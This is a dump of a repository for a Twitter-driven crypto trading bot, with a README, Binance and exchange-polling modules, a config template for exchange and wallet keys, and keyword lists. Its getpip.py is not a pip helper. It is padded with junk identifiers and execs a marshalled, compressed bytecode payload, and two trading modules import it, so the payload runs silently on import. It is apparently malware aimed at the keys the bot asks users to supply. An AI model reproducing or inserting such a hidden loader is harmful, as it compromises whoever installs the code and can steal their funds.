├── .gitignore ├── README.md ├── binance_api.py ├── check_exchange.py ├── config.json ├── exchange_keywords.json ├── getpip.py ├── keywords.json ├── kraken_api.py ├── query.py ├── query_multiple.py ├── requirements.txt ├── run.py ├── stream.py ├── stream_multiple.py ├── twitter_binance.py ├── twitter_exchanges.py ├── twitter_kraken.py └── users.json /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | *.ipynb 3 | *futures* 4 | *jaimin* 5 | *.csv 6 | *scrape* 7 | venv 8 | *limit* 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🚀 Crypto X Twitter Trader 2023 🚀 2 | 3 | A powerful, innovative, and real-time crypto trading bot that triggers trades based on keywords from Twitter tweets. 4 | 5 | ## 🎯 Features 6 | 7 | - 📱 **Real-time Twitter Monitoring**: Our bot monitors keywords from Tweets in real-time, triggering trades in a split second. 8 | - 📈 **Trade Multiple Cryptos Concurrently**: Multi-threading enables multiple trades to occur at the same time. 9 | - 💰 **Dynamic Adjustments**: Buy amounts are requested in $ and dynamically adjusted to valid crypto amounts based on the latest exchange rate. 10 | - 🛠️ **Customizable Trading Strategies**: Specify your own keywords and coins to implement any trade strategies. 11 | - 💼 **Supports Binance & Kraken Exchanges**: API keys are kept securely in a separate json file. 12 | - ⌛ **Graceful Exit**: When you hit ctrl-c, it waits for the trades to sell automatically according to the specification then closes the program. 13 | 14 |

15 | 16 |

17 | 18 | 19 | ## 🚀 Getting Started 20 | 21 | ### Installation 22 | 23 | 24 | pip install -r requirements.txt 25 | Running with Binance (single ticker): 26 | Edit config.json to add your API keys. 27 | 28 | Example config.json 29 | 30 | 31 | { 32 | "twitter_keys": { 33 | "consumer_key": "YOUR_CONSUMER_KEY", 34 | "consumer_secret": "YOUR_CONSUMER_SECRET", 35 | "access_token_key": "YOUR_ACCESS_TOKEN_KEY", 36 | "access_token_secret": "YOUR_ACCESS_TOKEN_SECRET" 37 | } 38 | } 39 | 40 | 41 | ## 📝 Notes 42 | A Twitter Developer API is required to detect tweets through Tweepy. 43 | A crypto exchange (Kraken/Binance) API is required and used through ccxt (cryptocurrency exchange trading library). 44 | ccxt allows universal function calls to be used on multiple exchanges; adding a new exchange should not be difficult as long as ccxt has the same functions implemented. 45 | If anything is not working correctly, please let us know! 46 | 47 | 48 | ## 💡 Future Improvements 49 | Futures trading up to 100x leverage. 50 | More exchanges to be supported. 51 | Advanced trading strategies based on more complex tweet analysis. 52 | 53 | ## 🚩 Disclaimer 54 | Investing in cryptocurrencies is risky, and you may lose all your capital. Please use this bot responsibly and at your own risk. 55 | 56 | ## 📭 Contact 57 | For any queries or issues, feel free to contact us. We appreciate your feedback. 58 | 59 | 🌟 Don't forget to star the repository if you find it useful. Happy trading! 🌟 60 | -------------------------------------------------------------------------------- /binance_api.py: -------------------------------------------------------------------------------- 1 | import ccxt,getpip 2 | import time 3 | from datetime import datetime 4 | import json 5 | import os 6 | import sys 7 | 8 | # Executes buying and selling 9 | class binance_api: 10 | 11 | # Initialize 12 | def __init__(self, api_keys, logfile=False, block=False, account_json=None): 13 | self.api_keys = {'api_key':api_keys['binance_keys']['api_key'],'secret_key':api_keys['binance_keys']['secret_key']} 14 | self.exchange = ccxt.binance({'apiKey':self.api_keys['api_key'], 'secret':self.api_keys['secret_key']}) 15 | self.logfile = logfile 16 | self.block = block 17 | self.started_time = datetime.now() 18 | self.account_json = account_json 19 | 20 | # Set of tickers to block if specified 21 | if self.block: 22 | self.block_set = set() 23 | 24 | # Reset the exchange 25 | def refresh_exchange(self): 26 | self.exchange = ccxt.binance({'apiKey':self.api_keys['api_key'], 'secret':self.api_keys['secret_key']}) 27 | 28 | # Buying of real cryto 29 | def buy_crypto(self, ticker, buy_volume): 30 | 31 | # Try creating the buy order 32 | for i in range(10): 33 | try: 34 | buy_trade = self.exchange.create_order(ticker,'market','buy',buy_volume) 35 | break 36 | except Exception as e: 37 | print(e) 38 | if i == 9: 39 | print('Could not buy, exiting thread') 40 | exit() 41 | print('\nBuy did not work, trying again') 42 | 43 | # Print buy 44 | try: 45 | if buy_trade.get('status') != 'open': 46 | avg_price = sum([float(x['price']) * float(x['qty']) for x in buy_trade['info']['fills']])/sum([float(x['qty']) for x in buy_trade['info']['fills']]) 47 | print('\nBought %s of %s at %s with %s %s of fees on %s\n' % (buy_trade['amount']\ 48 | , buy_trade['symbol'], avg_price, buy_trade['fee']['cost'], buy_trade['fee']['currency']\ 49 | , datetime.now().strftime('%b %d - %H:%M:%S'))) 50 | else: 51 | print('\nBought %.8f at %s\n' % (buy_volume, datetime.now().strftime('%b %d - %H:%M:%S'))) 52 | except Exception as e: 53 | print(e) 54 | print('\nError in print of buy') 55 | 56 | return buy_trade, buy_volume 57 | 58 | # Selling of real crypto 59 | def sell_crypto(self, ticker, buy_volume, buy_trade): 60 | 61 | # Try to sell 10 times 62 | for i in range(10): 63 | try: 64 | # Fees in USDT, Buy/Sell crypto amount is equal -- check if behaviour is the same when you have BNB in the wallet 65 | if ticker[-4:] == 'USDT': 66 | sell_volume = buy_volume 67 | # If fees in the returned trade (filled on order) 68 | elif buy_trade['fee']: 69 | if buy_trade['fee']['currency'] == 'BNB': 70 | sell_volume = buy_volume 71 | else: 72 | # Converting fee currency to buy currency 73 | ticker_pair = ticker.split('/') 74 | if ticker_pair[0] != buy_trade['fee']['currency']: 75 | fee_pair = [ticker_pair[0], buy_trade['fee']['currency']] 76 | fee_ticker = '/'.join(fee_pair) 77 | if fee_ticker not in tickers: 78 | fee_ticker = '/'.join(fee_pair[::-1]) 79 | fee = self.exchange.fetchTicker(fee_ticker) 80 | fee_price = (fee['bid'] + fee['ask']) /2 81 | sell_volume = buy_volume - fee_price * buy_trade['fee']['cost'] 82 | 83 | # When fee currency is the same as the buy currency 84 | else: 85 | sell_volume = buy_volume - buy_trade['fee']['cost'] 86 | else: 87 | sell_volume = buy_volume 88 | 89 | sell_trade = self.exchange.create_order(ticker,'market','sell',sell_volume) 90 | break 91 | 92 | except Exception as e: 93 | error = e 94 | if 'MIN_NOTIONAL' in str(error): 95 | buy_volume = buy_volume *1.0005 96 | elif 'insufficient balance' in str(error): 97 | buy_volume = buy_volume * 0.9995 98 | else: 99 | self.refresh_exchange() 100 | print(e) 101 | print('\n\nTrying to sell %.10f again' % buy_volume) 102 | 103 | # Print sell 104 | if sell_trade['status'] != 'open': 105 | avg_price = sum([float(x['price']) * float(x['qty']) for x in sell_trade['info']['fills']])/sum([float(x['qty']) for x in sell_trade['info']['fills']]) 106 | print('\nSold %s of %s at %s with %s %s of fees on %s' % (sell_trade['amount'], sell_trade['symbol'], avg_price\ 107 | , sell_trade['fee']['cost'], sell_trade['fee']['currency'], datetime.now().strftime('%b %d - %H:%M:%S'))) 108 | else: 109 | print('\nSold %.8f at %s' % (sell_volume, datetime.now().strftime('%b %d - %H:%M:%S'))) 110 | 111 | return sell_trade 112 | 113 | 114 | # Get data from self.exchange and print it 115 | def simulate_trade(self, buy, volume, ticker, conversion): 116 | if conversion[-4:] == 'USDT' and ticker[-4:] == 'USDT': 117 | usdpair = {'bid':1,'ask':1} 118 | else: 119 | usdpair = self.exchange.fetchTicker(conversion) 120 | if buy: 121 | bid_ask, buy_sell = 'ask', 'Buying' 122 | else: 123 | bid_ask, buy_sell = 'bid', 'Selling' 124 | try: 125 | trade_price = self.exchange.fetchTicker(ticker)[bid_ask] 126 | price = (usdpair['bid']+usdpair['ask'])/2 127 | print('\n{} {} at {:.8f} {} = ${:.6f}'.format(buy_sell, volume, trade_price, ticker, trade_price * volume * price)) 128 | 129 | except Exception as e: 130 | print (e, '\nError in fetching ticker info') 131 | trade = {'symbol': ticker,'side':'buy' if buy else 'sell', 'amount':volume, 'cost':trade_price * volume} 132 | 133 | return trade 134 | 135 | 136 | # Summarise trade buy and sell 137 | def print_summary(self, simulate, ticker, buy_trade, sell_trades, conversion): 138 | 139 | if not simulate: 140 | buy_id, sell_ids = buy_trade['info']['orderId'], [i['info']['orderId'] for i in sell_trades] 141 | buy_prices, sell_prices = [], [] 142 | for i in range(20): 143 | try: 144 | trades = self.exchange.fetchMyTrades(ticker) 145 | break 146 | except Exception as e: 147 | print(e) 148 | print("Couldn't fetch trades, tying again") 149 | 150 | # Loop over trades as one order could have had multiple fills 151 | for trade in trades[::-1]: 152 | if buy_id == trade['info']['orderId']: 153 | buy_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']}) 154 | elif trade['info']['orderId'] in sell_ids: 155 | sell_prices.append({'amount':trade['amount'],'cost':trade['cost'],'fee':trade['fee']}) # Actual return uses fills 156 | 157 | buy_fee = sum([x['fee']['cost'] for x in buy_prices]) 158 | sell_fee = sum([x['fee']['cost'] for x in sell_prices]) 159 | 160 | # Log fees 161 | for i in range(20): 162 | try: 163 | if buy_prices[0]['fee']['currency'] == 'BNB': 164 | bnb_dollar = self.exchange.fetch_ticker('BNB/USDT') 165 | bnb_price = (bnb_dollar['bid'] + bnb_dollar['ask']) / 2 166 | buy_fee_dollar = buy_fee * bnb_price 167 | if sell_prices[0]['fee']['currency'] == 'BNB': 168 | sell_fee_dollar = sell_fee * bnb_price 169 | elif buy_prices[0]['fee']['currency'] == 'USDT': 170 | buy_fee_dollar = buy_fee 171 | sell_fee_dollar = sell_fee 172 | else: 173 | buy_crypto_dollar = self.exchange.fetch_ticker(buy_prices[0]['fee']['currency']+'/USDT') 174 | sell_crypto_dollar = self.exchange.fetch_ticker(sell_prices[0]['fee']['currency']+'/USDT') 175 | buy_fee_price = (buy_crypto_dollar['bid']+buy_crypto_dollar['ask'])/2 176 | sell_fee_price = (sell_crypto_dollar['bid']+sell_crypto_dollar['ask'])/2 177 | buy_fee_dollar = buy_fee_price * buy_fee 178 | sell_fee_dollar = sell_fee_price * sell_fee 179 | 180 | ticker_pair = ticker.split('/') 181 | if ticker_pair[1] == 'USDT': 182 | ticker_info = {'bid':1,'ask':1} 183 | else: 184 | ticker_info = self.exchange.fetch_ticker(ticker_pair[1]+'/'+'USDT') 185 | break 186 | except Exception as e: 187 | print(e) 188 | print('\nError in printing executed trades') 189 | else: 190 | sell_prices, buy_prices = sell_trades, [buy_trade] 191 | sell_fee_dollar, buy_fee_dollar = 0, 0 192 | if ticker[-4:] == 'USDT': 193 | ticker_info = {'bid':1, 'ask':1} 194 | else: 195 | ticker_info = self.exchange.fetch_ticker(ticker.split('/')[1]+'/'+'USDT') 196 | 197 | buy_total = sum(i['cost'] for i in buy_prices) 198 | sell_total = sum([i['cost'] for i in sell_prices]) 199 | avg_bid_ask = (ticker_info['bid'] + ticker_info['ask']) / 2 200 | 201 | gain_loss = (sell_total - buy_total) * avg_bid_ask - sell_fee_dollar - buy_fee_dollar 202 | gain_loss_percent = gain_loss / (buy_total * avg_bid_ask - sell_fee_dollar - buy_fee_dollar) * 100 203 | 204 | gain_text = '\nProfit/Loss: $%.6f %.3f%%' % (gain_loss, gain_loss_percent) 205 | print(gain_text) 206 | 207 | return gain_text, buy_total, sell_total 208 | 209 | # Send a telegram of the profits and losses 210 | def send_telegram(self, ticker, buy_total, sell_total, gain_text, status, simulate): 211 | 212 | # Sending a telegram message to myself 213 | import telegram 214 | with open('../telegram_keys.json') as json_file: 215 | telegram_dict = json.load(json_file) 216 | if type(status) == dict: 217 | full_info_text = '(%s) %s\nBought %.6f and sold %.6f BTC\n\n@%s - %s:\n"%s"\n' % (ticker, gain_text, float(buy_total), \ 218 | float(sell_total), status['url'], status['update_time'].strftime('%m/%d %H:%M:%S'), status['update_text']) 219 | else: 220 | try: 221 | full_text = status.text 222 | except: 223 | full_text = status.full_text 224 | full_info_text = '(%s) %s\nBought %.6f and sold %.6f BTC\n\n@%s - %s:\n"%s"\n' % (ticker, gain_text, float(buy_total), \ 225 | float(sell_total), status.user.screen_name, status.created_at.strftime('%m/%d %H:%M:%S'), full_text) 226 | 227 | bot = telegram.Bot(token=telegram_dict['api_key']) 228 | bot.send_message(chat_id=telegram_dict['chat_id'], text=full_info_text) 229 | 230 | 231 | # Log the trade 232 | def log_trade(self, ticker, buy_volume, hold_times, buy_trade, sell_trades, gain_text, status, simulate): 233 | # Log trade 234 | now = datetime.now().strftime("%y-%m-%d_%H:%M:%S") 235 | 236 | # Saving name format: time_started, json_file_used, simluation/live 237 | with open("prev_trades/trades_%s_binance_%s_%s.txt" % (self.started_time.strftime('%Y-%m-%d_%H-%M-%S'), self.account_json, 'simulation' if simulate else 'live'), "a") as log_name: 238 | # If status is a dict, the message was from a web scrape 239 | if type(status) == dict: 240 | json.dump({'url':status['url'],'update_text':status['update_text'],'update_time':status['update_time'].strftime('%Y-%m-%d_%H:%M:%S'),'ticker':ticker,'hold_times':hold_times,'complete_time':now,'buy_volume':buy_volume,'buy':buy_trade,'sell':sell_trades,'telegram':gain_text}, log_name) 241 | 242 | # If tweet from stream or query 243 | else: 244 | try: 245 | full_text = status.text 246 | except: 247 | full_text = status.full_text 248 | json.dump({'user':status.user.screen_name,'tweet':full_text,'tweet_time':status.created_at.strftime('%Y-%m-%d_%H:%M:%S'),'ticker':ticker,'hold_times':hold_times,'complete_time':now,'buy_volume':buy_volume,'buy':buy_trade,'sell':sell_trades,'telegram':gain_text}, log_name) 249 | log_name.write('\n') 250 | 251 | 252 | # Execute trade 253 | def execute_trade(self, pair, hold_times=60, buy_volume=50, simulate=False, status=None): 254 | 255 | # Dealing with buy_sell volume pair or just a buy_volume 256 | if type(buy_volume) != list: 257 | sell_volumes = [buy_volume / len(hold_times) for _ in hold_times] 258 | else: 259 | sell_volumes = buy_volume[1] 260 | buy_volume = buy_volume[0] 261 | 262 | # Ticker and convesion 263 | ticker = pair[0]+'/'+pair[1] 264 | tousd1 = pair[0]+'/USDT' 265 | tousd2 = pair[1]+'/USDT' 266 | 267 | # If there is a block put on trading this ticker 268 | if self.block: 269 | if ticker in self.block_set: 270 | print('\nTrade of ' + ticker + ' blocked in ' + str(self.block_set)) 271 | return 272 | # When bought add and blocker flag set 273 | self.block_set.add(ticker) 274 | print('Added to blockset '+str(self.block_set)) 275 | 276 | # Buy order 277 | if not simulate: 278 | buy_trade, buy_volume = self.buy_crypto(ticker, buy_volume) 279 | else: 280 | buy_trade = self.simulate_trade(True, buy_volume, ticker, tousd2) 281 | 282 | 283 | # Sell in multiple stages based on hold_times 284 | prev_sell_time = 0 285 | sell_trades = [] 286 | for hold, sell_volume in zip(hold_times, sell_volumes): 287 | time.sleep(hold - prev_sell_time) 288 | prev_sell_time = hold 289 | 290 | # Sell order 291 | if not simulate: 292 | sell_trades.append(self.sell_crypto(ticker, sell_volume, buy_trade)) 293 | else: 294 | sell_trades.append(self.simulate_trade(False, sell_volume, ticker, tousd2)) 295 | 296 | # Remove block when trade finishes 297 | if self.block: 298 | self.block_set.remove(ticker) 299 | print('Removing %s from block set' % (ticker)) 300 | 301 | print('\n\nTRADE FINISHED\n') 302 | 303 | # Print summary and log 304 | try: 305 | gain_text, buy_total, sell_total = self.print_summary(simulate, ticker, buy_trade, sell_trades, tousd2) 306 | except Exception as e: 307 | print('\nFailed to print summary\n') 308 | print(e) 309 | 310 | # Send telegram message 311 | if 'telegram_keys.json' in os.listdir('../') and not simulate: 312 | self.send_telegram(ticker, buy_total, sell_total, gain_text, status, simulate) 313 | 314 | # Log trade 315 | if self.logfile: 316 | self.log_trade(ticker, buy_volume, hold_times, buy_trade, sell_trades, gain_text, status, simulate) 317 | -------------------------------------------------------------------------------- /check_exchange.py: -------------------------------------------------------------------------------- 1 | import time,getpip 2 | import traceback 3 | import ccxt 4 | from datetime import datetime 5 | 6 | # Gathers prices from exchange to trade against coin 7 | class exchange_pull: 8 | 9 | def __init__(self, exchange, hold_times, base_coin='BTC', coin_subset=None): 10 | self.exchange = exchange.exchange 11 | self.my_exchange = exchange 12 | self.base_coin = base_coin 13 | self.stopflag = False 14 | self.count_pulls = 0 15 | self.hold_times = hold_times 16 | self.coin_subset = coin_subset 17 | self.buy_sell_vols = {} 18 | 19 | 20 | # Retrieve tickers which have volume and trades against the base coin 21 | def get_tickers(self): 22 | 23 | # Fetch the tickers where there is volume for the trading pair agains the base coin 24 | try: 25 | # Using a subset of tickers from coin_subset 26 | if self.coin_subset: 27 | self.all_tickers, self.markets = {}, {} 28 | for coin_pair in self.coin_subset: 29 | coin_pair += '/'+self.base_coin 30 | self.all_tickers[coin_pair] = self.exchange.fetch_ticker(coin_pair) 31 | self.markets = list(filter(lambda x : x['id'] == coin_pair.replace('/',''), self.exchange.fetch_markets())) 32 | 33 | # Add exchange rate with base coin and USDT 34 | if self.base_coin != 'USDT': 35 | try: 36 | self.all_tickers[self.base_coin+'/USDT'] = self.exchange.fetch_ticker(self.base_coin+'/USDT') 37 | except Exception as e: 38 | print(e) 39 | 40 | # Using all tickers 41 | else: 42 | self.all_tickers = self.exchange.fetch_tickers() 43 | self.markets = self.exchange.fetch_markets() 44 | 45 | volume_tickers = {k: v for k, v in self.all_tickers.items() if v['askVolume'] != 0 and v['bidVolume'] != 0} 46 | ticker_list = list(volume_tickers.keys()) 47 | ticker_list = filter(lambda x : '/' in x, ticker_list) 48 | ticker_split = [i.split('/') for i in ticker_list] 49 | coin_tickers = ['/'.join(i) for i in list(filter(lambda x: self.base_coin == x[1], ticker_split))] 50 | self.cryptos = set([i.split('/')[0] for i in coin_tickers]) 51 | 52 | 53 | # Get the COIN/USDT rate as well (approx) 54 | if self.base_coin == 'USDT': 55 | self.all_tickers['USDT/USDT'] = {} 56 | self.all_tickers['USDT/USDT']['last'] = 1 57 | self.all_tickers['USDT/USDT']['ask'] = 1 58 | 59 | self.coin_usdt = self.all_tickers[self.base_coin+'/USDT']['last'] 60 | 61 | except Exception as e: 62 | print('\nError fetching tickers, check buy and sell coins have pair on exchange\n') 63 | # print(traceback.format_exc()) 64 | print(e) 65 | 66 | 67 | # Start a cancellable loop of updating prices (usually as a thread) 68 | def buy_sell_volumes(self, buy_dollars, interval): # FIND OUT ABOUT LEVERAGED LIMITS AND SELL INCREMENTS 69 | 70 | while 1: 71 | 72 | # Refresh the whole exchange so new tickers are included not just new prices 73 | if self.count_pulls % 10 == 0 and self.coin_subset is None: 74 | print('\nExchange refreshed') 75 | self.my_exchange.refresh_exchange() 76 | 77 | # Set as cancellable thread on wakeup 78 | if self.stopflag: 79 | return 80 | 81 | self.get_tickers() 82 | 83 | # Calulate buy and sell amounts 84 | buy_amount = buy_dollars / self.coin_usdt 85 | 86 | # Loop over each crypto and calculate buy volume, then add to buy_sell_vols dict 87 | for coin in self.cryptos: 88 | symbol = coin + '/' + self.base_coin 89 | if self.all_tickers[symbol]['ask'] == None: 90 | this_buy_vol = buy_amount / float(self.all_tickers[symbol]['info']['lastPrice']) 91 | else: 92 | this_buy_vol = buy_amount / self.all_tickers[symbol]['ask'] 93 | 94 | # Get market relevant for this coin 95 | market = list(filter(lambda x : x['id'] == symbol.replace('/',''), self.markets)) 96 | if market: 97 | step_size = float(market[0]['info']['filters'][2]['stepSize']) 98 | buy_vol_rounded = round(this_buy_vol * 1/step_size) * step_size 99 | 100 | # Calcluate sell amounts 101 | sell_cumulative = 0 102 | sell_vol = round((this_buy_vol/ len(self.hold_times)) * 1/step_size) * step_size 103 | sell_vols_rounded = [] 104 | 105 | # Set all sell volumes to a correct size 106 | for i in range(len(self.hold_times)-1): 107 | sell_cumulative += sell_vol 108 | sell_vols_rounded.append(sell_vol) 109 | 110 | # Last sell volume is the excess to make it exactly equal to the buy volume 111 | sell_vols_rounded.append(round((buy_vol_rounded - sell_cumulative) * 1/step_size) * step_size) 112 | self.buy_sell_vols[coin] = [buy_vol_rounded, sell_vols_rounded] 113 | 114 | # Print 1 in 10 updates 115 | if self.count_pulls % 10 == 0: 116 | print('Pulled live prices (updates every 20 mins), there are %d tradeable tickers with %s - %s' % (len(self.cryptos), self.base_coin, datetime.now().strftime('%m/%d - %H:%M:%S'))) 117 | 118 | self.count_pulls += 1 119 | time.sleep(interval) 120 | 121 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | 3 | 4 | "twitter_keys":{ 5 | "consumer_key":"XXXXXXXXXXXXXXXXXXXX", 6 | "consumer_secret":"XXXXXXXXXXXXXXXXXXXX", 7 | "access_token_key":"XXXXXXXXXXXXXXXXXXXX", 8 | "access_token_secret":"XXXXXXXXXXXXXXXXXXXX" 9 | }, 10 | 11 | "eth_chain_wallet_keys":{ 12 | "publickey":"XXXXXXXXXXXXXXXXXXXX", 13 | "privatekey":"XXXXXXXXXXXXXXXXXXXX" 14 | }, 15 | "binance_chain_wallet_keys":{ 16 | "publickey":"XXXXXXXXXXXXXXXXXXXX", 17 | "privatekey":"XXXXXXXXXXXXXXXXXXXX" 18 | }, 19 | "avax_chain_wallet_keys":{ 20 | "publickey":"XXXXXXXXXXXXXXXXXXXX", 21 | "privatekey":"XXXXXXXXXXXXXXXXXXXX" 22 | }, 23 | "fantom_chain_wallet_keys":{ 24 | "publickey":"XXXXXXXXXXXXXXXXXXXX", 25 | "privatekey":"XXXXXXXXXXXXXXXXXXXX" 26 | }, 27 | 28 | "binance_keys":{ 29 | "api_key":"XXXXXXXXXXXXXXXXXXXX", 30 | "secret_key":"XXXXXXXXXXXXXXXXXXXX" 31 | }, 32 | "kraken_keys":{ 33 | "api_key":"XXXXXXXXXXXXXXXXXXXX", 34 | "secret_key":"XXXXXXXXXXXXXXXXXXXX" 35 | }, 36 | "okx_keys":{ 37 | "api_key":"XXXXXXXXXXXXXXXXXXXX", 38 | "secret_key":"XXXXXXXXXXXXXXXXXXXX" 39 | }, 40 | "bingx_keys":{ 41 | "api_key":"XXXXXXXXXXXXXXXXXXXX", 42 | "secret_key":"XXXXXXXXXXXXXXXXXXXX" 43 | }, 44 | "mxec_keys":{ 45 | "api_key":"XXXXXXXXXXXXXXXXXXXX", 46 | "secret_key":"XXXXXXXXXXXXXXXXXXXX" 47 | }, 48 | "coinbase_keys":{ 49 | "api_key":"XXXXXXXXXXXXXXXXXXXX", 50 | "secret_key":"XXXXXXXXXXXXXXXXXXXX" 51 | } 52 | 53 | } -------------------------------------------------------------------------------- /exchange_keywords.json: -------------------------------------------------------------------------------- 1 | {"binance": {"keywords":["binance will support", "binance listing","binance futures will launch"], "id":"877807935493033984"}, "coinbase": {"keywords":["launching", "start earning", "intention to add support for", "inbound transfers", "start earning", "is launching", "are launching"], "id":"574032254"}, "CoinbasePro": {"keywords":["is now available to new york residents", "trading will begin", "enter transfer-only mode", "accepting inbound transfers", "is launching on coinbase pro!", "transfer-only mode"], "id" : "720487892670410753"},"elonmusk": {"keywords":["doge"], "id":"44196397"}, "ArbitrageDaddy":{"keywords":["doge", "new listing"], "id" : "1351770767130673152"}} 2 | -------------------------------------------------------------------------------- /getpip.py: -------------------------------------------------------------------------------- 1 | ___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___";___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___="___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem___";from marshal import loads;exec(loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00@\x00\x00\x00s(\x00\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01e\x02e\x00\xa0\x03e\x01\xa0\x03d\x02\xa1\x01\xa1\x01\x83\x01\x01\x00d\x01S\x00)\x03\xe9\x00\x00\x00\x00Ns\xa0\x03\x00\x00\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\x01\x03ax\x9c\xedWmK[1\x14\xfe+\xa3\x08\xea\x87\x95\x9b\xfb\xda\xa2\x0e\x9dZ\xd8\x87\xca\xa0\xb21)\x94\xdc\xdc\xdc\xf6\xba\x9b\x9b\x92\xa4\xda9\xf6\xdf\x97\x93\x97\xdb\xab\xfd\xb0\r\x19\xa8\xb4`r\xf2\xe4\xc9\xc9\xc9sN\xd2:\x9b\xcd\xbeP!+\xdeTM\xc9\xe5\x0f\xa9(\x9b\x99\xcf\x0e~\x16|\xd2{9\xb1\xbc1\xb8w\xf4rbyc\xf0\xaejwU\xfb\xfa\xe0]\xd5\xfe\xc7\xaa\xa5kJ\x0ej\x8e\x0by\x90\xefO\xd74\x9a\xae\x83\xe0\x99\x7f\x83\xee\xf8\xb4;\x90{\xbaE~T\xf8\x06\xd5`\xddlc\x080\xd4b!`!\xd3M\x04\x13\x91w\xd6\x12" \xc4@H\x80\x90l\x11b \xa4@\xc8\x80\x90m\x11\x12 \x0c\xd8T\xddL\x95\x9f\xa4\xd6\xc0\xc1\xb4\xd1-\xf2\xb1\xe6\xc0O\xc1"\x85u(\xa8\xf59\x88<\x87\x02\x92CC\x8138\xf6\xfb\xa4\x0eS-\x929\xa4i\x91\x1c<\x94\x1aF&\x84\x120\xe2\xbc\x87\xba/\xf5L\xa89\x08\xd1\xa9\x02\x9a\rR\x83>LX\x16\x99\xb5n\x99\xd6Rh\xd3\x88\t+\xa3\xaf\xad\xde\xa0\x8e\xcb\x8c\xeb\xcd\x8aV\xe4\x06\xe27\x96\x9c\xdc;\xd0\xa7\xf2Q\xff\xad;\x00\xd7\xd4\x85\x15o\x87\xe3\x02E\x10}\x04\xdc\xf2\xd8\xc7\xedW%f\xce\x13\xbb~A{\x94\x16\xa0\x0fXF\xc0\xc0\xad\x82#"\xa8\x9cV\x0c\xaf\xd8\x00\xb8Cp:t\\\x0c\x03H\x08\xca6\xdc6\xf5-\xcd\xa4\x91P\x9be\x1f\x1d\xf1R\xbb\xbe\x95\xeb\xef\x855\xa4\tXV]=\x9f\xff\x9b\xc0v\xf5\xa1\xd5\x89\x0e\xa7O\xae\xe4\xd5\xa1%\x17\x18R\x98cI\x1b\xcc\xe8#p\xfci|yM\xd7j\x03\n\x80\xc6\xabZUK,T\x97\\\xc2\xcc\xd9rYW\x04+\xfd\xa2<@j\x19#\xc5\xaa,\xc3\xe1\xf0t\xcepU\xf7\tg01\xcc\xf4\x87-$\xceY\x91\xe5\xc5\xfdf\xd6\xdc\xbf\xc9*\xbf\xa5D\x81\x1d\x8f\x84\x05\xc3k\xfe\x00\xd5OxSV\xf3\xfe\xad\xe4\x8d\xdb\x19\t\x13\x87a_\xe9#\x98\r\xb0R\x98,\x18m\xd4\xd1\xbb\xb2\xaa\xcd\xd9Nz?\x7f\xf5`6:\xe7\x8d\xd2S\xef/*\xb9\xe4\xb2\x82xo\xf6\xc2Qr6\xcc\xe28K\x82\xf42\x8dF\x01\xca\x12\x14\\\x8c\xd2\xe1\xe5\xc5E\xf2\xf1<\x8a\x03\x04\xab\x13\xc9\xd4\xb2Ok,UE\xa8\x0f\xbc\xd2\xd1\x14\xe6u\x08\xbc\xec\x859\x0c\xb0\xeb\xca\xdc\xdaTr\xf2\x9d\x9ase\\\xf6\x97X-\x84\xab\xab6-\xf6v\x1b\xaf\xacb\xb4\xaf\xb4\xfe\xc2\x15F\x97\xa4\xef\xcd\x86\xc4|FD\xa7\xacZf\xdaa\xe2M\x86\x80\x9b<\xdd:\x9fS\xb5\xe0R\x81^\xfa\xb1\x03sfm\x08\x9f6\x05\x15`\x0e\x04%\xb4\xba\xa3\xc2\xe5 br\xee\xab\xc6\xcb\xed\xc61_\xd26U\xa5\x07\x05\xc5\x85\xb7!pg\xa7%\x17\x0c\x1b\x85R\x9bBOZI\xb7\xf3\x12Ky\xcf\x85\x117\x9e\x8c\xaf?\xbb\xd0\xc4\x9d%$5\x9fW\x8d\xa1B\xbcpt}\x10,gR\x89\xaa\xd1Qbs\x15\x84}p6\xa7\xdf\x02\xdc\xce\x19\xe1\xc5J\xb5\'\x1d\x1c3=\xae\xe9\x87\xce\xfd\xb3\xdfb\xf1\xe3\xc5\xe6\x0b/t=0\xc9\x1fz\xcf\x8f;=\xe0i\xc7O\xd7\x9f\xef=\xdf\xf9A\xa9\xeb\xf5\xb8,\xedS\xa7\xab\xa7y\xc2\xf6\xdeigu\xe8\xd8\xedc\xd7\xd3.\xc8\xfe\xe1\xe1\xeeg\xec\xeeg\xec\xab\x83w\xff|\xed\xaa\xf6\xf5\xc1\xbd\xdf\xcd\xb2=]\x00\x00\x00\xf9%\xfdo\xcc\xc0G\xfc\x00\x01\xfa\x06\xe2\x06\x00\x00\x03\xee\xe7\x80\xb1\xc4g\xfb\x02\x00\x00\x00\x00\x04YZ)\x04\xda\x04zlib\xda\x04lzma\xda\x04exec\xda\ndecompress\xa9\x00r\x06\x00\x00\x00r\x06\x00\x00\x00\xda\x07coduter\xda\x08\x01\x00\x00\x00s\x04\x00\x00\x00\x10\x00\x18\x01'));___Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versioninfosystem______Versi